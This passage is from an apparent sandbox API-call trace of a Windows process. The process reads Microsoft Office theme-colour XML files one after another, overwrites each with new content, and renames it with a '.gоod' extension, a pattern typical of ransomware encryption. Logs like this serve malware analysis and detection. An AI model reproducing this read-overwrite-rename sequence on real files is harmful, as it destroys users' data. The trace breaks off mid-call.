(dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0141.146] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml.gоod")) returned 1 [0141.147] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml", lpFilePart=0x0) returned 0x54 [0141.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0141.147] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml"), fInfoLevelId=0x0, lpFileInformation=0x3c0f5d0 | out: lpFileInformation=0x3c0f5d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e7)) returned 1 [0141.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0141.147] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml", lpFilePart=0x0) returned 0x54 [0141.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0141.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0141.148] GetFileType (hFile=0x61c) returned 0x1 [0141.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0141.148] GetFileType (hFile=0x61c) returned 0x1 [0141.148] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e7 [0141.148] ReadFile (in: hFile=0x61c, lpBuffer=0x3c0fba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3c0fba0*, lpNumberOfBytesRead=0x200ec818*=0x2e7, lpOverlapped=0x0) returned 1 [0141.149] CloseHandle (hObject=0x61c) returned 1 [0141.438] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml", lpFilePart=0x0) returned 0x54 [0141.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0141.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.439] GetFileType (hFile=0x6e4) returned 0x1 [0141.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0141.439] GetFileType (hFile=0x6e4) returned 0x1 [0141.439] WriteFile (in: hFile=0x6e4, lpBuffer=0x3a7ab20*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3a7ab20*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0141.440] CloseHandle (hObject=0x6e4) returned 1 [0141.440] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml", lpFilePart=0x0) returned 0x54 [0141.440] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml.gоod", lpFilePart=0x0) returned 0x59 [0141.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0141.440] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x50844038, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0141.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0141.440] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml.gоod")) returned 1 [0141.441] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml", lpFilePart=0x0) returned 0x4f [0141.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0141.441] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a7be10 | out: lpFileInformation=0x3a7be10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e2)) returned 1 [0141.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0141.441] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml", lpFilePart=0x0) returned 0x4f [0141.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0141.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0141.441] GetFileType (hFile=0x6e4) returned 0x1 [0141.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0141.441] GetFileType (hFile=0x6e4) returned 0x1 [0141.442] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e2 [0141.442] ReadFile (in: hFile=0x6e4, lpBuffer=0x3a7c3b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3a7c3b0*, lpNumberOfBytesRead=0x200ec818*=0x2e2, lpOverlapped=0x0) returned 1 [0141.443] CloseHandle (hObject=0x6e4) returned 1 [0142.514] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml", lpFilePart=0x0) returned 0x4f [0142.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0142.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0142.516] GetFileType (hFile=0x61c) returned 0x1 [0142.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0142.516] GetFileType (hFile=0x61c) returned 0x1 [0142.516] WriteFile (in: hFile=0x61c, lpBuffer=0x3bfb478*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3bfb478*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0142.517] CloseHandle (hObject=0x61c) returned 1 [0142.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml", lpFilePart=0x0) returned 0x4f [0142.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml.gоod", lpFilePart=0x0) returned 0x54 [0142.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0142.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5128c28c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0142.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0142.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml.gоod")) returned 1 [0142.518] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml", lpFilePart=0x0) returned 0x54 [0142.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0142.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml"), fInfoLevelId=0x0, lpFileInformation=0x3bfc748 | out: lpFileInformation=0x3bfc748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e7)) returned 1 [0142.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0142.519] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml", lpFilePart=0x0) returned 0x54 [0142.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0142.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0142.519] GetFileType (hFile=0x61c) returned 0x1 [0142.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0142.519] GetFileType (hFile=0x61c) returned 0x1 [0142.519] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e7 [0142.519] ReadFile (in: hFile=0x61c, lpBuffer=0x3bfcd18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3bfcd18*, lpNumberOfBytesRead=0x200ec818*=0x2e7, lpOverlapped=0x0) returned 1 [0142.520] CloseHandle (hObject=0x61c) returned 1 [0143.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0143.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0143.821] GetFileType (hFile=0x808) returned 0x1 [0143.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0143.821] GetFileType (hFile=0x808) returned 0x1 [0143.821] WriteFile (in: hFile=0x808, lpBuffer=0x35364c0*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x35364c0*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0143.987] CloseHandle (hObject=0x808) returned 1 [0143.987] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml", lpFilePart=0x0) returned 0x54 [0143.987] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml.gоod", lpFilePart=0x0) returned 0x59 [0143.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0143.987] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5209064b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0143.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0143.987] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml.gоod")) returned 1 [0143.988] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml", lpFilePart=0x0) returned 0x57 [0143.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0143.989] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml"), fInfoLevelId=0x0, lpFileInformation=0x36b8048 | out: lpFileInformation=0x36b8048*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ea)) returned 1 [0143.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0143.989] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml", lpFilePart=0x0) returned 0x57 [0143.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0143.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0143.989] GetFileType (hFile=0x808) returned 0x1 [0143.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0143.989] GetFileType (hFile=0x808) returned 0x1 [0143.989] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2ea [0143.989] ReadFile (in: hFile=0x808, lpBuffer=0x36b8630, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x36b8630*, lpNumberOfBytesRead=0x200ec818*=0x2ea, lpOverlapped=0x0) returned 1 [0143.991] CloseHandle (hObject=0x808) returned 1 [0145.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0145.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0145.404] GetFileType (hFile=0x7f8) returned 0x1 [0145.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0145.405] GetFileType (hFile=0x7f8) returned 0x1 [0145.405] WriteFile (in: hFile=0x7f8, lpBuffer=0x38e6708*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x38e6708*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0145.405] CloseHandle (hObject=0x7f8) returned 1 [0145.406] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml", lpFilePart=0x0) returned 0x57 [0145.406] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml.gоod", lpFilePart=0x0) returned 0x5c [0145.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0145.406] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x52e1ffc0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0145.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0145.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml.gоod")) returned 1 [0145.407] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml", lpFilePart=0x0) returned 0x50 [0145.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0145.407] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml"), fInfoLevelId=0x0, lpFileInformation=0x38e7a08 | out: lpFileInformation=0x38e7a08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e3)) returned 1 [0145.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0145.407] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml", lpFilePart=0x0) returned 0x50 [0145.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0145.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0145.407] GetFileType (hFile=0x7f8) returned 0x1 [0145.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0145.407] GetFileType (hFile=0x7f8) returned 0x1 [0145.407] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e3 [0145.407] ReadFile (in: hFile=0x7f8, lpBuffer=0x38e7fb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x38e7fb8*, lpNumberOfBytesRead=0x200ec818*=0x2e3, lpOverlapped=0x0) returned 1 [0145.409] CloseHandle (hObject=0x7f8) returned 1 [0145.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml", lpFilePart=0x0) returned 0x50 [0145.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0145.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0145.886] GetFileType (hFile=0x7f8) returned 0x1 [0145.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0145.886] GetFileType (hFile=0x7f8) returned 0x1 [0145.886] WriteFile (in: hFile=0x7f8, lpBuffer=0x36a9560*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: 